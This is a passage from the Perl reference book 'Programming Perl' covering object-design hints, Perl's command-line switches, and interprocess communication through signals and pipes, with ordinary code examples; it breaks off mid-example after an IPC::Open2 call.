To create reusable code we must modify class FOO, flattening class FOO::private. The next example shows a reusable class FOO which allows the method GOOP::BAZ() to be used in place of FOO::BAZ().

package FOO;

sub new {
    my $type = shift;
    return bless {}, $type;
}
sub bar {
    my $self = shift;
    $self->BAZ;
}

sub BAZ {
    print "in BAZ\n";
}

package GOOP;
@ISA = qw( FOO );

sub new {
    my $type = shift;
    return bless {}, $type;
}
sub BAZ {
    print "in GOOP::BAZ\n";
}

package main;

$a = GOOP->new;
$a->bar;

The moral of the story is that generic interfaces are by nature not very private. Some languages go to great lengths to define various levels of privacy. Perl goes to great lengths not to.

5.5.9 Class Context and the Object

Use the object to solve package and class context problems. Everything a method needs should be available via the object or should be passed as a parameter to the method.

A class will sometimes have static or global data to be used by the methods. A derived class may want to override that data and replace it with new data. When this happens, the base class may not know how to find the new copy of the data.

This problem can be solved by using the object to define the context of the method. Let the method look in the object for a reference to the data. The alternative is to force the method to go hunting for the data ("Is it in my class, or in a derived class? Which derived class?"), and this can be inconvenient and will lead to hackery. It is better to just let the object tell the method where the data is located.

package Bar;

%fizzle = ( Password => 'XYZZY' );

sub new {
    my $type = shift;
    my $self = {};
    $self->{fizzle} = \%fizzle;
    return bless $self, $type;
}

sub enter {
    my $self = shift;

    # Don't try to guess if we should use %Bar::fizzle
    # or %Foo::fizzle.  The object already knows which
    # we should use, so just ask it.
    #
    my $fizzle = $self->{fizzle};

    print "The word is ", $fizzle->{Password}, "\n";
}

package Foo;
@ISA = qw( Bar );

%fizzle = ( Password => 'Rumple' );

sub new {
    my $type = shift;
    my $self = Bar->new;
    $self->{fizzle} = \%fizzle;
    return bless $self, $type;
}

package main;

$a = Bar->new;
$b = Foo->new;
$a->enter;
$b->enter;

5.5.10 Inheriting a Constructor

An inheritable constructor should use the two-argument form of bless, which allows blessing directly into a specified class. Notice in this example that the object will be a BAR not a FOO, even though the constructor is in class FOO.

package FOO;

sub new {
    my $type = shift;
    my $self = {};
    return bless $self, $type;
}

sub baz {
    print "in FOO::baz()\n";
}

package BAR;
@ISA = qw(FOO);

sub baz {
    print "in BAR::baz()\n";
}

package main;

$a = BAR->new;
$a->baz;

5.5.11 Delegation (the "Passes-the-Buck-to" Relationship)

Some classes, such as SDBM_File, cannot be effectively subclassed because they create foreign objects. Such a class can be extended with some sort of aggregation technique such as the "uses" relationship mentioned earlier in this chapter. Or you can use delegation.

The following example demonstrates delegation using an AUTOLOAD function to perform message-forwarding. This allows the MyDBM object to behave exactly like an SDBM_File object without having to predefine all the possible methods that might be invoked. As usual, the MyDBM class can still modify the behavior by adding custom FETCH and STORE methods, since the AUTOLOAD is only invoked on missing methods.

package MyDBM;

require SDBM_File;
require Tie::Hash;
@ISA = qw(Tie::Hash);

sub TIEHASH {
    my $type = shift;
    my $ref = SDBM_File->new(@_);
    return bless {delegate => $ref}, $type;
}

sub AUTOLOAD {
    my $self = shift;

    # The Perl interpreter places the name of the
    # message in a variable called $AUTOLOAD.

    # DESTROY messages should never be propagated.
    return if $AUTOLOAD =~ /::DESTROY$/;

    # Remove the package name.
    $AUTOLOAD =~ s/^MyDBM:://;

    # Pass the message to the delegate.
    $self->{delegate}->$AUTOLOAD(@_);
}

package main;
use Fcntl qw( O_RDWR O_CREAT );

tie %number, "MyDBM", "oddnumbers", O_RDWR|O_CREAT, 0666;
$number{beast} = 666;

As we say on the Net, "Hope this helps."

Previous: 5.4 Using Tied Variables | Programming Perl | Next: 6. Social Engineering
5.4 Using Tied Variables | Book Index | 6. Social Engineering


[Chapter 6] Social Engineering

Programming PerlSearch this book
Previous: 5.5 Some Hints About Object Design Chapter 6 Next: 6.2 Cooperating with Other Processes

6. Social Engineering

Contents:
Cooperating with Command Interpreters
Cooperating with Other Processes
Cooperating with Strangers
Cooperating with Other Languages

Languages have different personalities. You can classify computer languages by how introverted or extroverted they are; for instance, Icon and Lisp are stay-at-home languages, while Tcl and the various shells are party animals. Self-sufficient languages prefer to compete with other languages, while social languages prefer to cooperate with other languages. As usual, Perl tries to do both.

So this chapter is about relationships. Until now we've looked inward at the competitive nature of Perl, but now we need to look outward and see the cooperative nature of Perl. If we really mean what we say about Perl being a glue language, then we can't just talk about glue; we have to talk about the various kinds of things you can glue together. A glob of glue by itself isn't very interesting.

Perl doesn't just glue together other computer languages. It also glues together command line interpreters, operating systems, processes, machines, devices, networks, databases, institutions, cultures, Web pages, GUIs, peers, servers, and clients, not to mention people like system administrators, users, and of course, hackers, both naughty and nice. In fact, Perl is rather competitive about being cooperative.

So this chapter is about Perl's relationship with everything in the world. Obviously, we can't talk about everything in the world, but we'll try.

6.1 Cooperating with Command Interpreters

It is fortunate that Perl grew up in the UNIX world - that means its invocation syntax works pretty well under the command interpreters of other operating systems too. Most command interpreters know how to deal with a list of words as arguments, and don't care if an argument starts with a minus sign. There are, of course, some sticky spots where you'll get fouled up if you move from one system to another. You can't use single quotes under MS-DOS as you do under UNIX, for instance. And on systems like VMS, some wrapper code has to jump through hoops to emulate UNIX I/O redirection. Once you get past those issues, however, Perl treats its switches and arguments much the same on any operating system.

Even when you don't have a command interpreter, per se, it's easy to execute a Perl script from another program, such as the inet daemon or a CGI server. Not only can such a server pass arguments in the ordinary way, but it can also pass in information via environment variables and (under UNIX at least) inherited file descriptors. Even more exotic argument-passing mechanisms may be encapsulated in a module that can be brought into the Perl script via a simple use directive.

6.1.1 Command Processing

Perl parses command-line switches in the standard fashion.[1] That is, it expects any switches (words beginning with a minus) to come first on the command line. After that comes the name of the script (usually), followed by any additional arguments (often filenames) to be passed into the script. Some of these additional arguments may be switches, but if so, they must be processed by the script, since Perl gives up parsing switches as soon as it sees a non-switch, or the special "--" switch that terminates switch processing.

[1] Presuming you agree that UNIX is both standard and fashionable.

Perl gives you some flexibility in how you supply your program. For small, quick-and-dirty jobs, you can program Perl entirely from the command line. For larger, more permanent jobs, you can supply a Perl script as a separate file. Perl looks for the script to be specified in one of three ways:

  1. Specified line by line via -e switches on the command line.

  2. Contained in the file specified by the first filename on the command line. (Note that systems supporting the #! shebang notation invoke interpreters this way on your behalf.)

  3. Passed in implicitly via standard input. This only works if there are no filename arguments; to pass arguments to a standard-input script you must explicitly specify a "-" for the script name. For example, under UNIX:

    echo "print 'Hello, world'" | perl -

    With methods 2 and 3, Perl starts parsing the input file from the beginning, unless you've specified a -x switch, in which case it scans for the first line starting with #! and containing the word "perl", and starts there instead. This is useful for running a script embedded in a larger message. (In this case you might indicate the end of the script using the __END__ token.)

Whether or not you use -x, the #! line is always examined for switches as the line is being parsed. Thus, if you're on a machine that only allows one argument with the #! line, or worse, doesn't even recognize the #! line as special, you still can get consistent switch behavior regardless of how Perl was invoked, even if -x was used to find the beginning of the script.

WARNING: Because many versions of UNIX silently chop off kernel interpretation of the #! line after 32 characters, some switches may be passed in on the command line, and some may not; you could even get a "-" without its letter, if you're not careful. You probably want to make sure that all your switches fall either before or after that 32-character boundary. Most switches don't actually care if they're processed redundantly, but getting a "-" instead of a complete switch could cause Perl to try to execute standard input instead of your script. And a partial -I switch could also cause odd results. Of course, if you're not on a UNIX system, you're guaranteed not to have this problem.

Parsing of the switches on the #! line starts wherever "perl" is mentioned in the line. The sequences "-*" and "- " are specifically ignored for the benefit of emacs users, so that, if you're so inclined, you can say:

#!/bin/sh -- # -*- perl -*- -p
eval 'exec perl -S $0 ${1+"$@"}'
    if 0;

and Perl will see only the -p switch. The fancy "-*- perl -*-" gizmo tells emacs to start up in Perl mode; you don't need it if you don't use emacs. The -S mess is explained below.

If the #! line does not contain the word "perl", the program named after the #! is executed instead of the Perl interpreter. For example, suppose you have an ordinary Bourne shell script out there that says:

#!/bin/sh
echo "I am a shell script"

If you feed that file to Perl, then Perl will run /bin/sh for you. This is slightly bizarre, but it helps people on machines that don't recognize #!, because - by setting their SHELL environmental variable - they can tell a program (such as a mailer) that their shell is /usr/bin/perl, and Perl will then dispatch the program to the correct interpreter for them, even though their kernel is too stupid to do so. Classify it as a strange form of cooperation.

But back to Perl scripts that are really Perl scripts. After locating your script, Perl compiles the entire script to an internal form. If any compilation errors arise, execution of the script is not attempted (unlike the typical shell script, which might run partway through before finding a syntax error). If the script is syntactically correct, it is executed. If the script runs off the end without hitting an exit or die operator, an implicit exit(0) is provided to indicate successful completion.

6.1.2 Switches

A single-character switch with no argument may be combined (bundled) with the following switch, if any.

#!/usr/bin/perl -spi.bak    # same as -s -p -i.bak

Switches are also known as options, or flags. Perl recognizes these switches:

--

Terminates switch processing, even if the next argument starts with a minus. It has no other effect.

-0[octnum]

Specifies the record separator ($/) as an octal number. If octnum is not present, the null character is the separator. Other switches may precede or follow the octal number. For example, if you have a version of find(1) that can print filenames terminated by the null character, you can say this:

find . -name '*.bak' -print0 | perl -n0e unlink

The special value 00 will cause Perl to slurp files in paragraph mode, equivalent to setting the $/ variable to "". The value 0777 will cause Perl to slurp files whole since there is no legal ASCII character with that value. This is equivalent to undefining the $/ variable.

-a

Turns on autosplit mode when used with a -n or -p. An implicit split command to the @F array is done as the first thing inside the implicit while loop produced by the -n or -p. So:

perl -ane 'print pop(@F), "\n";'

is equivalent to:

while (<>) {
    @F = split(' ');
    print pop(@F), "\n";
}

A different field delimiter may be specified using -F.

-c

Causes Perl to check the syntax of the script and then exit without executing it. Actually, it will execute any BEGIN blocks and use directives, since these are considered to occur before the execution of your program. It also executes any END blocks, in case they need to clean up something that happened in a corresponding BEGIN block. The switch is more or less equivalent to having an exit(0) as the first statement in your program.

-d

Runs the script under the Perl debugger. See "The Perl Debugger" in Chapter 8, Other Oddments.

-d:foo

Runs the script under the control of a debugging or tracing module installed in the Perl library as Devel::foo. For example, -d:DProf executes the script using the Devel::DProf profiler. See also the debugging section in Chapter 8.

-D number
-D list

Sets debugging flags. (This only works if debugging is compiled into your version of Perl via the -DDEBUGGING C compiler switch.) You may specify either a number that is the sum of the bits you want, or a list of letters. To watch how it executes your script, for instance, use -D14 or -Dslt. Another nice value is -D1024 or -Dx, which lists your compiled syntax tree. And -D512 or -Dr displays compiled regular expressions. The numeric value is available internally as the special variable $^D. Here are the assigned bit values:

Bit | Letter | Meaning
1 | p | Tokenizing and parsing
2 | s | Stack snapshots
4 | l | Label stack processing
8 | t | Trace execution
16 | o | Object method Lookup
32 | c | String/numeric conversions
64 | P | Print preprocessor command for -P
128 | m | Memory allocation
256 | f | Format processing
512 | r | Regular expression processing
1,024 | x | Syntax tree dump
2,048 | u | Tainting checks
4,096 | L | Memory leaks (not supported any more)
8,192 | H | Hash dump -- usurps values()
16,384 | X | Scratchpad allocation
32,768 | D | Cleaning up
-e commandline

May be used to enter one or more lines of script. If -e is used, Perl will not look for a script filename in the argument list. The -e argument is treated as if it ends with a newline, so multiple -e commands may be given to build up a multi-line script. (Make sure to use semicolons where you would in a normal program.) Just because -e supplies a newline on each argument doesn't mean you have to use multiple -e switches - if your shell supports multi-line quoting, you may pass a multi-line script as one -e argument, just as awk(1) scripts are typically passed.

-F pattern

Specifies the pattern to split on if -a is also in effect. The pattern may be surrounded by //, "" or '', otherwise it will be put in single quotes. (Remember that to pass quotes through a shell, you have to quote the quotes.)

-h

Prints a summary of Perl's command-line options.

-i[extension]

Specifies that files processed by the <> construct are to be edited in-place. It does this by renaming the input file, opening the output file by the original name, and selecting that output file as the default for print statements. The extension, if supplied, is added to the name of the old file to make a backup copy. If no extension is supplied, no backup is made. From the shell, saying:

$ perl -p -i.bak -e "s/foo/bar/; ... "

is the same as using the script:

#!/usr/bin/perl -pi.bak
s/foo/bar/;

which is equivalent to:

#!/usr/bin/perl
while (<>) {
    if ($ARGV ne $oldargv) {
        rename($ARGV, $ARGV . '.bak');
        open(ARGVOUT, ">$ARGV");
        select(ARGVOUT);
        $oldargv = $ARGV;
    }
    s/foo/bar/;
}
continue {
    print;        # this prints to original filename
}
select(STDOUT);

except that the -i form doesn't need to compare $ARGV to $oldargv to know when the filename has changed. It does, however, use ARGVOUT for the selected filehandle. Note that STDOUT is restored as the default output filehandle after the loop. You can use eof without parentheses to locate the end of each input file, in case you want to append to each file, or reset line numbering (see the examples of eof in Chapter 3, Functions).

-I directory

Directories specified by -I are prepended to @INC, which holds the search path for modules. -I also tells the C preprocessor where to search for include files. The C preprocessor is invoked with -P; by default it searches /usr/include and /usr/lib/perl. Unless you're going to be using the C preprocessor (and almost no one does any more), you're better off using the use lib directive within your script.

-l[octnum]

Enables automatic line-end processing. It has two effects: first, it automatically chomps the line terminator when used with -n or -p, and second, it sets $\ to the value of octnum so any print statements will have a line terminator of ASCII value octnum added back on. If octnum is omitted, sets $\ to the current value of $/, typically newline. So, to trim lines to 80 columns, say this:

perl -lpe 'substr($_, 80) = ""'

Note that the assignment $\ = $/ is done when the switch is processed, so the input record separator can be different from the output record separator if the -l switch is followed by a -0 switch:

gnufind / -print0 | perl -ln0e 'print "found $_" if -p'

This sets $\ to newline and later sets $/ to the null character. (Note that 0 would have been interpreted as part of the -l switch had it followed the -l directly. That's why we bundled the -n switch between them.)

-m[-]module

-M[-]module

-M[-]'module ...'

-[mM][-]module=arg[,arg]...

-m module

Executes use module() before executing your script.

-M module

Executes use module before executing your script. The command is formed by mere interpolation, so you can use quotes to add extra code after the module name, for example, -M'module qw(foo bar)'. If the first character after the -M or -m is a minus (-), then the use is replaced with no.

A little built-in syntactic sugar means you can also say -mmodule=foo,bar or -Mmodule=foo,bar as a shortcut for -M'module qw(foo bar)'. This avoids the need to use quotes when importing symbols. The actual code generated by -Mmodule=foo,bar is:

use module split(/,/, q{foo, bar})

Note that the = form removes the distinction between -m and -M.

-n

Causes Perl to assume the following loop around your script, which makes it iterate over filename arguments rather as sed -n or awk do:

LINE:
while (<>) {
    ...                # your script goes here
}

Note that the lines are not printed by default. See -p to have lines printed. Here is an efficient way to delete all files older than a week, assuming you're on UNIX:

find . -mtime +7 -print | perl -nle unlink

This is faster than using the -exec switch of find(1) because you don't have to start a process on every filename found. By an amazing coincidence, BEGIN and END blocks may be used to capture control before or after the implicit loop, just as in awk.

-p

Causes Perl to assume the following loop around your script, which makes it iterate over filename arguments rather as sed does:

LINE:
while (<>) {
    ...                # your script goes here
} continue {
    print;
}

Note that the lines are printed automatically. To suppress printing use the -n switch. A -p overrides a -n switch. By yet another amazing coincidence, BEGIN and END blocks may be used to capture control before or after the implicit loop, just as in awk.

-P

Causes your script to be run through the C preprocessor before compilation by Perl. (Since both comments and cpp(1) directives begin with the # character, you should avoid starting comments with any words recognized by the C preprocessor such as "if", "else" or "define".)

-s

Enables some rudimentary switch parsing for switches on the command line after the script name but before any filename arguments or "--" switch terminator. Any switch found there is removed from @ARGV, and a variable of the same name as the switch is set in the Perl script. No switch bundling is allowed, since multi-character switches are allowed. The following script prints "true" if and only if the script is invoked with a -xyz switch.

#!/usr/bin/perl -s
if ($xyz) { print "true\n"; }

If the switch in question is followed by an equals sign, the variable is set to whatever follows the equals sign in that argument. The following script prints "true" if and only if the script is invoked with a -xyz=abc switch.

#!/usr/bin/perl -s
if ($xyz eq 'abc') { print "true\n"; }

-S

Makes Perl use the PATH environment variable to search for the script (unless the name of the script starts with a slash). Typically this is used to emulate #! startup on machines that don't support #!, in the following manner:

#!/usr/bin/perl
eval "exec /usr/bin/perl -S $0 $*"
        if $running_under_some_shell;

The system ignores the first line and feeds the script to /bin/sh, which proceeds to try to execute the Perl script as a shell script. The shell executes the second line as a normal shell command, and thus starts up the Perl interpreter. On some systems $0 doesn't always contain the full pathname, so -S tells Perl to search for the script if necessary. After Perl locates the script, it parses the lines and ignores them because the variable $running_under_some_shell is never true. A better construct than $* would be ${1+"$@"}, which handles embedded spaces and such in the filenames, but doesn't work if the script is being interpreted by csh. In order to start up sh rather than csh, some systems have to replace the #! line with a line containing just a colon, which Perl will politely ignore. Other systems can't control that, and need a totally devious construct that will work under any of csh, sh, or perl, such as the following:

eval '(exit $?0)' && eval 'exec /usr/bin/perl -S $0 ${1+"$@"}'
    & eval 'exec /usr/bin/perl -S $0 $argv:q'
                   if 0;

Yes, it's ugly, but so are the systems that work[2] this way.

[2] We use the term advisedly.

-T

Forces "taint" checks to be turned on so you can test them. Ordinarily these checks are done only when running setuid or setgid. It's a good idea to turn them on explicitly for programs run on another's behalf, such as CGI programs. See "Cooperating with Strangers" later in this chapter.

-u

Causes Perl to dump core after compiling your script. You can then take this core dump and turn it into an executable file by using the undump program (not supplied). This speeds startup at the expense of some disk space (which you can minimize by stripping the executable). If you want to execute a portion of your script before dumping, use Perl's dump operator instead. Note: availability of undump is platform specific; it may not be available for a specific port of Perl.

-U

Allows Perl to do unsafe operations. Currently the only "unsafe" operations are the unlinking of directories while running as superuser, and running setuid programs with fatal taint checks turned into warnings.

-v

Prints the version and patchlevel of your Perl executable.

-V

Prints a summary of the major Perl configuration values and the current value of @INC.

-V:name

Prints to STDOUT the value of the named configuration variable.

-w

Prints warnings about identifiers that are mentioned only once, and scalar variables that are used before being set. Also warns about redefined subroutines, and references to undefined filehandles or filehandles opened read-only that you are attempting to write on. Also warns you if you use a non-number as though it were a number, or if you use an array as though it were a scalar, or if your subroutines recurse more than 100 deep, and innumerable other things. See every entry labeled (W) in Chapter 9, Diagnostic Messages.

-x directory

Tells Perl to extract a script that is embedded in a message. Leading garbage will be discarded until the first line that starts with #! and contains the string "perl". Any meaningful switches on that line after the word "perl" will be applied. If a directory name is specified, Perl will switch to that directory before running the script. The -x switch only controls the disposal of leading garbage. The script must be terminated with __END__ or __DATA__ if there is trailing garbage to be ignored. (The script can process any or all of the trailing garbage via the DATA filehandle if desired.)

Previous: 5.5 Some Hints About Object Design | Programming Perl | Next: 6.2 Cooperating with Other Processes
5.5 Some Hints About Object Design | Book Index | 6.2 Cooperating with Other Processes


[Chapter 6] 6.2 Cooperating with Other Processes

Programming PerlSearch this book

6.2 Cooperating with Other Processes

Processes have almost as many ways of communicating as people do. But the difficulties of interprocess communication (IPC) should not be underestimated. It doesn't do you any good to listen for verbal cues when your friend is using only body language. Likewise, two processes can communicate only when they agree on the method of communication, and on the conventions built on top of that method. These layered conventions often gain the weight of "methodhood" themselves, so you'll sometimes hear people talking about stacks of communication methods. We can't hope to cover all the methods used in the world today, but we'll discuss some of the methods most commonly used in Perl.

The IPC facilities of Perl range from the very simple to the very complex. Which facility you want to use depends on the complexity of the information to be communicated. The simplest kind of information is, in a sense, no information at all, but just the awareness that a particular event has happened at a particular point in time. In Perl, these events are communicated via a signal mechanism modeled on the UNIX signal system.

At the other extreme, the socket facilities of Perl allow you to communicate with any other process on the Internet using any mutually supported protocol you like. Naturally, this freedom comes at a price: you have to go through a number of steps to set up the connections and make sure you're talking the same language as the process on the other end, which may in turn require you to adhere to any number of other strange customs, depending on the cultural conventions at work. To be protocoligorically correct, you might even be required to speak a language like HTML, or Java, or Perl. Horrors.

Sandwiched in between are some facilities intended primarily for communicating between processes on the same machine. These include pipes, FIFOs, and the various System V IPC calls.

6.2.1 Signals

Perl uses a simple signal handling model: the %SIG hash contains references (either symbolic or hard) to user-defined signal handlers. When an event transpires, the handler corresponding to that event is called with one argument containing the name of the signal that triggered it. In order to send a signal to another process, you use the kill function. If that process has installed a signal handler, it can execute code when you send the signal, but there's no way to get a return value (other than knowing that the signal was successfully sent).

We've classified this facility as a form of IPC, but in fact, signals can come from various sources, not just other processes. A signal might come from another process, or from your own process, or it might be generated when the user at the keyboard types a particular sequence like CTRL-C or CTRL-Z, or it might be manufactured by the kernel when special events transpire, such as when a child process is exiting, or when your process is running out of stack space, or hitting a file size limit.[3] But your own process can't easily distinguish among these cases. A signal is like a package that arrives mysteriously on your doorstep with no return address. You'd best open it carefully.

[3] Nevertheless, these are all examples of cooperation with something, even if it's not another process. Certainly, you tend to get more accomplished when you cooperate with your operating system.

For example, to unpack an interrupt signal, set up a handler like this:

sub catch_zap {
    my $signame = shift;
    $shucks++;
    die "Somebody sent me a SIG$signame!";
}
$SIG{INT} = 'catch_zap';  # could fail outside of package main
$SIG{INT} = \&catch_zap;  # best strategy

Notice how all we do in the signal handler is set a global variable and then raise an exception with die. We try to avoid anything more complicated than that, because on most systems the C library is not re-entrant. Signals are delivered asynchronously, so calling any print functions (or even anything that needs to malloc(3) more memory) could in theory trigger a memory fault and subsequent core dump if you were already in a related C library routine when the signal was delivered. (Even the die routine is a bit unsafe unless the process is executing within an eval, which suppresses the I/O from die, which keeps it from calling the C library. Probably.)

The operating system thinks of signals as numbers rather than names. To find the names of the signals, you can use the kill -l command on your system (if you're running UNIX). Or you can retrieve them from Perl's Config module; the following snippet sets up two arrays: a @signame array indexed by number to get the signal name, and a %signo hash indexed by name to get the signal number:

use Config;
defined $Config{sig_name} or die "No sigs?";
$i = 0;     # Config prepends fake 0 signal called "ZERO".
foreach $name (split(' ', $Config{sig_name})) {
    $signo{$name} = $i;
    $signame[$i] = $name;
    $i++;
}

So to check whether signal 17 and SIGALRM are the same, you could do this:

print "signal #17 = $signame[17]\n";
if ($signo{ALRM}) {
    print "SIGALRM is $signo{ALRM}\n";
}

You may also choose to assign either of the strings 'IGNORE' or 'DEFAULT' as the handler, in which case Perl will try to discard the signal or do the default thing. Some signals can be neither trapped nor ignored, such as the KILL and STOP signals. You can temporarily ignore other signals by using a local signal handler assignment, which goes out of effect once your block is exited. (Remember, though, that local values are inherited by functions called from within that block.)

sub precious {
    local $SIG{INT} = 'IGNORE';
    &more_functions;
}
sub more_functions {
    # interrupts still ignored, for now...
}

Sending a signal to a negative process ID means that you send the signal to the entire UNIX process-group. This code sends a hang-up signal to all processes in the current process group except for the current process itself:

{
    local $SIG{HUP} = 'IGNORE';
    kill HUP => -$$;   # snazzy form of: kill('HUP', -$$)
}

Another interesting signal to send is signal number 0. This doesn't actually affect the other process, but instead checks whether it's alive or has changed its UID. That is, it checks whether it's legal to send a signal, without actually sending one.

unless (kill 0 => $kid_pid) {
    warn "something wicked happened to $kid_pid";
}

Another cute trick is to employ anonymous functions for simple signal handlers:

$SIG{INT} = sub { die "\nOutta here!\n" };

Because it's a subroutine without a name, this approach can be problematic for complicated handlers that need to reinstall themselves. That's because Perl's signal mechanism was historically based on the signal(3) function from the C library. On some systems, this function was broken; that is, it behaved in the unreliable System V way rather than the reliable BSD (and POSIX) fashion. This meant that you had to reinstall the signal handler each time it got called.[4] You also had to manually restart interrupted system calls. Careful programmers tend to write self-referential handlers that reinstall themselves:

[4] If you were lucky. The old signal behavior had a race condition whereby you couldn't guarantee that you could reset your handler in time before the next signal came in, which is why it was changed.

sub REAPER {
    $waitedpid = wait;
    $SIG{CHLD} = \&REAPER;  # loathe sysV
}
$SIG{CHLD} = \&REAPER;
# now do something that forks...

or, somewhat more elaborately:[5]

[5] Although it seems unlikely that you would have POSIX WNOHANG waitpid behavior while lacking proper POSIX signals.

use POSIX "sys_wait_h";
sub REAPER {
    $SIG{CHLD} = \&REAPER;  # loathe sysV, dream of real POSIX
    my $child;
    while ($child = waitpid(-1, WNOHANG)) {
        $Kid_Status{$child} = $?;
    }
}
$SIG{CHLD} = \&REAPER;
# do something that forks...

And if you're writing code to behave the same way everywhere, even on rather old systems, it all gets more complex yet. Loops with blocking system calls (like <FILE> or accept) need additional logic to handle system calls that return failure for silly reasons, such as when your SIGCHLD handler triggers and you reap a moribund child process.

Fortunately, you shouldn't have to do that much any more. That's because whenever possible, Perl now uses the reliable sigaction(2) function from POSIX. If you know you're running on a system that supports sigaction(2), you won't have to reinstall your handlers, and a lot of other things will work out better, too. For example, "slow" system calls (ones that can block, like read, <STDIN>, wait, and accept) will restart automatically now if they get interrupted by a signal. This is generally construed to be a feature.

You check whether you have the more rigorous POSIX-style signal behavior by accessing the Config module, described in Chapter 7, The Standard Perl Library.

use Config;
print "Hurray!\n" if $Config{d_sigaction};

This will tell you whether you have reliable system calls that don't need to be reinstalled, but it won't tell you whether they're restartable. Perl doesn't provide that information in its Config module, but you could check out your system's C signal.h include file directly:

egrep 'S[AV]_(RESTART|INTERRUPT)' /usr/include/*/signal.h

On some older SysV systems, a simple but nonportable hack for avoiding zombies was to set $SIG{CHLD} to 'IGNORE'. This approach does not work on systems with sigaction(2). Instead, the best way to avoid zombies on POSIX systems is to use the REAPER() function above.

You can also use signals to impose time limits on long-running operations. If you're on a UNIX system (or any other system that supports the ALRM signal), you can ask the kernel to send your process an ALRM at some point in the future:

eval {
    local $SIG{ALRM} = sub { die "alarm clock restart" };
    alarm 10;       # schedule alarm in 10 seconds
    flock(FH, 2);   # a "write" lock that may block
    alarm 0;        # cancel the alarm
};
if ($@ and $@ !~ /alarm clock restart/) { die }

eval and die provide a convenient mechanism for aborting the flock if it hangs.

For more complex signal handling, see the POSIX module in Chapter 7. This module provides an object-oriented approach to signals that gives you complete access to low-level system behavior.

6.2.2 Pipes

A pipe is a unidirectional I/O channel that can transfer a stream of bytes from one process to another. They come in both named and nameless varieties. You may be more familiar with nameless pipes, so we'll talk about those first.

6.2.2.1 Anonymous pipes

Perl's open function opens a pipe instead of a file when you append or prepend a pipe symbol to the second argument to open. This turns the rest of the argument into a command, which will be interpreted as a process (or set of processes) to pipe a stream of data either into or out of. Here's how to start up a child process that you intend to write to:

open SPOOLER, "| cat -v | lpr -h 2>/dev/null"
                or die "can't fork: $!";
local $SIG{PIPE} = sub { die "spooler pipe broke" };
print SPOOLER "stuff\n";
close SPOOLER or die "bad spool: $! $?";

This example is actually starting up two processes, the first of which (running cat) we print to directly. The second process (running lpr) then receives the output of the first process. In shell programming this is often called a pipeline. A pipeline can have as many processes in a row as you like.

And here's how to start up a child process that you intend to read from:

open STATUS, "netstat -an 2>&1 |"
                or die "can't fork: $!";
while (<STATUS>) {
    next if /^(tcp|udp)/;
    print;
}
close STATUS or die "bad netstat: $! $?";

You can open a pipeline for input just as you can for output, but we don't show it in this example.

You might have noticed that you can use backticks to accomplish the same effect as opening a pipe for reading:

print grep { !/^(tcp|udp)/ } `netstat -an 2>&1`;
die "bad netstat" if $?;

While this is true, it's often more efficient to process the file one line or record at a time, because then Perl doesn't have to read the whole thing into memory at once. It also gives you finer control of the whole operation, letting you kill off the child process early if you like.

Be careful to check the return values of both open and close. (If you're writing to a pipe, you should also be prepared to handle the PIPE signal, which is sent to you if the process on the other end dies before you're done sending to it.) The reason you need to check both the open and the close has to do with an idiosyncrasy of UNIX in how piped commands are started up. When you do the open, your process forks a child process that is in charge of executing the command you gave it. The fork(2) system call, if successful, returns immediately within the parent process, and the parent script leaves the open function successfully, even though the child process may not have even run yet. By the time the child process actually tries to run the command, it's already a separately scheduled process. So if it fails to execute the command, it has no easy way to communicate the fact back to the open statement, which may have already exited successfully in the parent. The way the disaster is finally communicated back to the parent is the same way that any other disaster in the child process is communicated back: namely, the exit status of the child process is harvested by the parent process when it eventually does a wait(2) system call. But this happens in the close function, not the open function. And that's why you have to check the return value of your close function. Whew.

6.2.2.2 Talking to yourself

Another approach to IPC is to make your program talk to itself, in a manner of speaking. Actually, your process talks to a forked copy of itself. It works much like the piped open we talked about in the last section, except that the child process continues executing your script instead of trying to execute some other command.

To represent this to the open function, you use a pseudo-command consisting of a minus. So the second argument to open looks like either "-|" or "|-", depending on whether you want to pipe from yourself or to yourself. The open function returns the child's process ID in the parent process, but 0 in the child process. Another asymmetry is that the filehandle is used only in the parent process. The child's end of the pipe is hooked to either STDIN or STDOUT as appropriate. That is, if you open a pipe to minus, you can write to the filehandle you opened and your kid will find it in his STDIN. If you open a pipe from minus, you can read from the filehandle you opened whatever your kid writes to her STDOUT.

This is useful for safely opening a file when running under an assumed UID or GID, for example:

use English;
my $sleep_count = 0;

do {
    $pid = open(KID_TO_WRITE, "|-");
    unless (defined $pid) {
        warn "cannot fork: $!";
        die "bailing out" if $sleep_count++ > 6;
        sleep 10;
    }
} until defined $pid;

if ($pid) {  # parent
    print KID_TO_WRITE @some_data;
    close(KID_TO_WRITE) or warn "kid exited $?";
}
else {       # child
    ($EUID, $EGID) = ($UID, $GID); # suid progs only
    open (FILE, "> /safe/file")
                    or die "can't open /safe/file: $!";
    while (<STDIN>) {
        print FILE; # child's STDIN is parent's KID
    }
    exit;  # don't forget this
}

Another common use for this construct is to bypass the shell when you want to open a pipe from a command. You might want to do this for security reasons, because you don't want the shell interpreting any metacharacters in the filenames you're trying to pass to the command. We give an example of this later in the chapter - see "Cleaning Up Your Path".

Note that these operations are full UNIX forks, which means they may not be correctly implemented on alien systems. Additionally, these are not true multi-threading. If you'd like to learn more about threading, see CPAN.

6.2.2.3 Bidirectional communication

While pipes work reasonably well for unidirectional communication, what about bidirectional communication? The obvious thing you'd like to do doesn't actually work:

open(PROG_FOR_READING_AND_WRITING, "| some program |")  # WRONG!

and if you forget to use the -w switch, then you'll miss out entirely on the diagnostic message:

Can't do bidirectional pipe at myprog line 3.

The open function won't allow this because it's rather error prone unless you know what you're doing, and can easily result in deadlock, which we'll explain later. But if you really want to do it, you can use the standard IPC::Open2 library module to attach two pipes to a subprocess's STDIN and STDOUT. There's also an IPC::Open3 module for tridirectional I/O (allowing you to catch your child's STDERR), but this requires an awkward select loop and doesn't allow you to use normal Perl input operations.

If you look at the source, you'll see that Open2 uses low-level primitives like pipe and exec to create all the connections. While it might have been slightly more efficient to use socketpair, it would have been even less portable. As it is, the Open2 and Open3 modules are unlikely to work anywhere except on a UNIX system, or some other system purporting to be POSIX compliant.

Here's an example using IPC::Open2::open2():

use FileHandle;
use IPC::Open2;
$pid = open2( \*Reader, \*Writer, "cat -u -n" );
Writer->autoflush();     # This is default, actually.
print Writer "stuff\n";
$got = <Reader>;

